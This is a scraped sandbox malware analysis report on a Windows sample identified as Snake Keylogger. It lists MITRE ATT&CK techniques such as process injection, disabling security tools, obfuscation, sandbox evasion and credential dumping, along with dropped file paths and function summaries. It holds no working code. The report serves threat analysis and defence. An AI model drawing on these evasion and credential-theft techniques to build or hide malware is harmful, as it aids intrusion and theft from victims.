Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PayeeAdvice_HK54912_R0038704_37504.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\Nocturia.Alm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\Sipunculoidea.ude

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\moccasins.ved

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\sporostrote.dip

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
PayeeAdvice_HK54912_R0038704_37504.exe

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 7340177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre